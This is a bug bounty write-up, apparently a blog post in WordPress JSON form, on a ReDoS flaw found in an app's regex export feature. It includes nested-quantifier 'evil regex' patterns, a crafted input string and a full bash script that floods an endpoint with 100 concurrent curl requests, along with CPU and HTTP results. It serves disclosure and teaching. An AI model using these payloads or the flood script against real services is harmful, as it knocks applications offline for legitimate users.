{"id":922,"date":"2026-09-07T09:28:02","date_gmt":"2026-09-07T09:28:02","guid":{"rendered":"https:\/\/www.kacateknologi.com\/en\/?p=922"},"modified":"2026-09-07T09:56:17","modified_gmt":"2026-09-07T09:56:17","slug":"redos-vulnerability","status":"publish","type":"post","link":"https:\/\/www.kacateknologi.com\/en\/redos-vulnerability\/","title":{"rendered":"$2,500 from a ReDoS Vulnerability: Take Down Any App with Evil Regex"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>KacaTeknologi.com\/en<\/strong> &#8211; ReDoS (Regular Expression Denial of Service) is an often-overlooked Denial of Service (DoS) vulnerability that can arise when applications process user-controlled regular expressions without properly limiting their complexity. A poorly designed regex can trigger excessive backtracking, causing CPU consumption to spike and the application to become extremely slow, or even hang for an extended period of time.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this article, we\u2019ll explore how a seemingly simple regex input can have a significant impact on an application\u2019s availability, turning a small input into a $2,500 vulnerability.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>If you&#8217;re not sure what regex is in general, I highly recommend reading this <a href=\"https:\/\/en.wikipedia.org\/wiki\/Regular_expression\" data-type=\"link\" data-id=\"https:\/\/en.wikipedia.org\/wiki\/Regular_expression\" rel=\"nofollow noopener\" target=\"_blank\">article<\/a> so you get a better understanding before reading this post.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What is Regular Expression Denial of Service (ReDoS)?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Regular Expression Denial of Service (ReDoS) is a vulnerability that can make an application extremely slow by giving it a regular expression that requires an excessive amount of processing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To understand ReDoS, think of a regular expression as a set of rules used to check whether text follows a particular pattern. Applications use regular expressions for things like validating email addresses, checking usernames, searching text, or validating input.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Most of the time, this process is extremely fast.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The problem starts when a regular expression is written in a way that gives the engine <strong>too many possible ways to interpret the same input<\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The Evil Regex<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">One simple example is:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>^(a+)+$<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Don&#8217;t worry if this looks confusing. The important part is what happens when the application tries to process certain inputs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, this input is easy:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>aaaaaaaaaa<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The pattern can quickly determine that the input matches.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now consider an input that looks almost correct:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>aaaaaaaaaab<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The final <code>b<\/code> makes the input invalid.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Instead of immediately giving up, some regex engines using a <a href=\"https:\/\/jeffe.cs.illinois.edu\/teaching\/algorithms\/book\/02-backtracking.pdf\" data-type=\"link\" data-id=\"https:\/\/jeffe.cs.illinois.edu\/teaching\/algorithms\/book\/02-backtracking.pdf\" rel=\"nofollow noopener\" target=\"_blank\">backtracking approach<\/a> start going back and trying different ways to divide the <code>a<\/code> characters. It&#8217;s similar to trying to find your way through a maze.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Imagine entering a maze where every few steps you have two different paths to choose from. If you reach a dead end, you go back and try another route. If there are only a few choices, this is manageable.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But what if the maze keeps splitting into more and more paths? The number of routes you need to check can grow incredibly quickly. That&#8217;s essentially what can happen with an inefficient regular expression.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Uncontrolled Regex in Regex Input<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In a redacted bug bounty program, I discovered an application with a <strong>Regex Export<\/strong> feature. The feature allows users to provide a regular expression, which the application then uses to find and export specific information from raw event data.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This immediately caught my attention from a security perspective because the regex itself was controlled by the user. If the application accepted a regex with excessive backtracking potential without performing any validation or imposing complexity limits, it could potentially be abused to cause a ReDoS condition.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Crafting the Evil Regex<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">I started with a well-known ReDoS pattern based on <strong>nested quantifiers<\/strong>, such as:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>(a+)+<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This pattern is interesting because it gives the regex engine many different ways to divide a sequence of <code>a<\/code> characters. If the input eventually fails to match, the engine may go back and try those different possibilities one by one.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Since the application uses regex capture groups, I adapted the pattern to fit its expected format:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>(?&lt;g1&gt;(?:a+)+)(?&lt;g2&gt;z)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Here, <code>g1<\/code> captures the sequence of <code>a<\/code> characters, while <code>g2<\/code> expects a <code>z<\/code> at the end. <\/p>\n\n\n\n<div class=\"wp-block-stackable-image stk-block-image stk-block stk-c136cc6\" data-block-id=\"c136cc6\"><style>.stk-c136cc6 .stk-img-wrapper{width:100% !important;}@media screen and (max-width:689px){.stk-c136cc6 .stk-img-wrapper{width:100% !important;}}<\/style><figure><span class=\"stk-img-wrapper stk-image--shape-stretch\"><img loading=\"lazy\" decoding=\"async\" class=\"stk-img wp-image-932\" src=\"https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/uncontrolled-regex-input-lead-to-redos.jpg\" width=\"2170\" height=\"725\" alt=\"uncontrolled regex input cause redos vulnerability\" srcset=\"https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/uncontrolled-regex-input-lead-to-redos.jpg 2170w, https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/uncontrolled-regex-input-lead-to-redos-768x257.jpg 768w, https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/uncontrolled-regex-input-lead-to-redos-1536x513.jpg 1536w, https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/uncontrolled-regex-input-lead-to-redos-2048x684.jpg 2048w\" sizes=\"auto, (max-width: 2170px) 100vw, 2170px\" \/><\/span><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The important part is <code>(a+)+<\/code>, which is responsible for the potentially expensive backtracking. I then used an input such as:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The input contains a long sequence of <code>a<\/code> characters followed by <code>b<\/code> instead of the expected <code>z<\/code>. This forces the regex engine to reconsider the different ways it could have matched the <code>a<\/code> characters before eventually determining that the input doesn&#8217;t match.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is exactly the behavior I was looking for when testing for ReDoS.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Validating the ReDoS Vulnerability<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Validating the ReDoS issue is relatively straightforward. If we have the application running locally, for example in Docker, we can monitor its CPU usage and observe whether the application becomes unresponsive after configuring the evil regex and sending the malicious payload.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this case, I installed the application locally using Docker so I could establish a baseline before reproducing the ReDoS issue. Before the test, the application was using only <strong>13.46% CPU<\/strong>, which was within the normal range.<\/p>\n\n\n\n<div class=\"wp-block-stackable-image stk-block-image stk-block stk-3acc10d\" data-block-id=\"3acc10d\"><style>.stk-3acc10d .stk-img-wrapper{width:450px !important;}@media screen and (max-width:689px){.stk-3acc10d .stk-img-wrapper{width:100% !important;}}<\/style><figure><span class=\"stk-img-wrapper stk-image--shape-stretch\"><img loading=\"lazy\" decoding=\"async\" class=\"stk-img wp-image-925\" src=\"https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/cpu-percentage-before-redos.png\" width=\"528\" height=\"402\" alt=\"CPU percentage before ReDoS vulnerability\"\/><\/span><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Then, I sent two types of requests to the application:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Blocking requests:<\/strong> Each request contained the specially crafted input <code>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab<\/code>, designed to trigger the expensive regex processing. <\/li>\n\n\n\n<li><strong>Normal request:<\/strong> A regular event such as <code>normal event<\/code>, which represents a legitimate user request.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">I then sent <strong>100 blocking requests concurrently<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>FLOOD_COUNT=100<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The requests were sent in the background, allowing multiple requests to reach the application at roughly the same time.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After a short delay, I sent a normal request and measured how long it took to receive a response. Here&#8217;s the full code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> #!\/bin\/bash\n\n  HOST=\"http:\/\/localhost:8088\/endpoint\/blabla\/event\"\n  AUTH=\"Authorization: Bearer redos123\"\n  CT=\"Content-Type: application\/json\"\n  BLOCK='{\"event\": \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab\"}'\n  NORMAL='{\"event\": \"normal event\"}'\n\n  # Send 100 blocking requests \u2014 excess ones queue up and re-block\n  FLOOD_COUNT=100\n\n  echo \"&#91;*] Flooding with $FLOOD_COUNT requests (worker count unknown)...\"\n  for i in $(seq 1 $FLOOD_COUNT); do\n    curl -s -X POST \"$HOST\" -H \"$AUTH\" -H \"$CT\" -d \"$BLOCK\" &amp;\n  done\n\n  sleep 0.5\n\n  echo \"&#91;*] Sending normal event...\"\n  time curl -s -X POST \"$HOST\" \\\n    -H \"$AUTH\" -H \"$CT\" \\\n    -d \"$NORMAL\"\n  echo \"&#91;*] Done.\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Under normal conditions, the <code>normal event<\/code> request should be processed almost immediately. However, while the application was busy processing the ReDoS payloads, the normal request experienced significant delay.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This demonstrated that the issue was not merely a regex taking longer than expected, it could <strong>consume application resources and affect the availability of legitimate requests<\/strong>, turning the regex weakness into a practical Denial of Service condition.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, if we check the CPU usage, we can see that it has skyrocketed to <strong>2,300%<\/strong>, a massive increase from the <strong>13.46% baseline<\/strong> we observed earlier.<\/p>\n\n\n\n<div class=\"wp-block-stackable-image stk-block-image stk-block stk-6a17bff\" data-block-id=\"6a17bff\"><style>.stk-6a17bff .stk-img-wrapper{width:450px !important;}@media screen and (max-width:689px){.stk-6a17bff .stk-img-wrapper{width:100% !important;}}<\/style><figure><span class=\"stk-img-wrapper stk-image--shape-stretch\"><img loading=\"lazy\" decoding=\"async\" class=\"stk-img wp-image-926\" src=\"https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/cpu-percentage-after-redos-vulnerability.png\" width=\"580\" height=\"182\" alt=\"CPU percentage after ReDoS vulnerability\"\/><\/span><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Resending a Normal Event after Reproducing the ReDoS<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Before sending the <code>blocking event<\/code>, the application processes the <code>normal event<\/code> normally and returns an HTTP <code>200 OK<\/code> response:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt; HTTP\/1.1 200 OK\n&lt; Content-Type: application\/json\n&lt; Date: Thu, 26 Mar 2026 13:33:37 GMT\n&lt; Connection: keep-alive\n&lt; Keep-Alive: timeout=5\n&lt; Transfer-Encoding: chunked\n&lt;\n* Connection #0 to host localhost left intact\n{\"text\":\"Success\",\"code\":0}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The important part here is the <code>{\"text\":\"Success\",\"code\":0}<\/code> response at the end. It indicates that the application successfully processed the request and returned a normal response.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, after configuring the evil regex and sending the <code>blocking event<\/code> containing <code>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab<\/code>, the behavior changes. When I sent the same <code>normal event<\/code>, the application no longer returns the expected success response:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&gt;\n* upload completely sent off: 35 bytes<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Instead, the connection remains open without receiving a response from the application. In other words, the request was successfully sent, but the application was too busy processing the ReDoS payload to respond normally.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Navigating the App Through the UI<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Next, I attempted to navigate through the application using the UI. However, the application was no longer accessible. <strong>Every page returned an \u201cUnexpected error occurred\u201d message<\/strong>, preventing me from accessing any of its functionality.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This demonstrated that the ReDoS condition was affecting the application&#8217;s overall availability, rather than just slowing down a single request.<\/p>\n\n\n\n<div class=\"wp-block-stackable-image stk-block-image stk-block stk-6bdba08\" data-block-id=\"6bdba08\"><figure><span class=\"stk-img-wrapper stk-image--shape-stretch\"><img loading=\"lazy\" decoding=\"async\" class=\"stk-img wp-image-928\" src=\"https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/redos-cause-app-inaccessible.png\" width=\"2172\" height=\"724\" alt=\"Redos cause an app inaccessible.\" srcset=\"https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/redos-cause-app-inaccessible.png 2172w, https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/redos-cause-app-inaccessible-768x256.png 768w, https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/redos-cause-app-inaccessible-1536x512.png 1536w, https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/redos-cause-app-inaccessible-2048x683.png 2048w\" sizes=\"auto, (max-width: 2172px) 100vw, 2172px\" \/><\/span><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">I reported the vulnerability through Bugcrowd and categorized it under the VRT as <strong><code>Application-Level Denial-of-Service (DoS) > Critical Impact and\/or Easy Difficulty (P2)<\/code><\/strong>, based on its impact on the application&#8217;s availability.<\/p>\n\n\n\n<div class=\"wp-block-stackable-image stk-block-image stk-block stk-ed0343b\" data-block-id=\"ed0343b\"><style>.stk-ed0343b .stk-img-wrapper{width:718px !important;}@media screen and (max-width:689px){.stk-ed0343b .stk-img-wrapper{width:100% !important;}}<\/style><figure><span class=\"stk-img-wrapper stk-image--shape-stretch\"><img loading=\"lazy\" decoding=\"async\" class=\"stk-img wp-image-929\" src=\"https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/reward-of-redos-vulnerability.png\" width=\"718\" height=\"702\" alt=\"reward of redos vulnerability\" srcset=\"https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/reward-of-redos-vulnerability.png 718w, https:\/\/www.kacateknologi.com\/en\/wp-content\/uploads\/2026\/09\/reward-of-redos-vulnerability-60x60.png 60w\" sizes=\"auto, (max-width: 718px) 100vw, 718px\" \/><\/span><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Also read: <a href=\"https:\/\/www.kacateknologi.com\/en\/microsoft-teams-community-invitation-bypass-cve-2025-49731\" data-type=\"link\" data-id=\"https:\/\/www.kacateknologi.com\/en\/microsoft-teams-community-invitation-bypass-cve-2025-49731\">$5,000 Bounty From Microsoft Teams Community Invitation Bypass (CVE-2025-49731)<\/a><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Bottom Line<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ReDoS happens when a user-controlled regex causes the application to spend excessive time processing specially crafted input, eventually slowing down or blocking normal requests.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The simple flow would be:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Input an evil regex \u2192 Send a malicious payload \u2192 The regex engine gets stuck backtracking \u2192 CPU\/resources are consumed \u2192 The application becomes slow or unresponsive.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hope you find this article insightful!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>KacaTeknologi.com\/en &#8211; ReDoS (Regular Expression Denial of Service) is an often-overlooked Denial of Service (DoS) vulnerability that can arise when applications process user-controlled regular expressions without properly limiting their complexity. A poorly designed regex can trigger excessive backtracking, causing CPU consumption to spike and the application to become extremely slow, or even hang for an [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":933,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43,44],"tags":[50,49],"class_list":["post-922","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","category-bug-bounty","tag-denial-of-service","tag-redos"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/posts\/922","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/comments?post=922"}],"version-history":[{"count":0,"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/posts\/922\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/media\/933"}],"wp:attachment":[{"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/media?parent=922"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/categories?post=922"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kacateknologi.com\/en\/wp-json\/wp\/v2\/tags?post=922"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}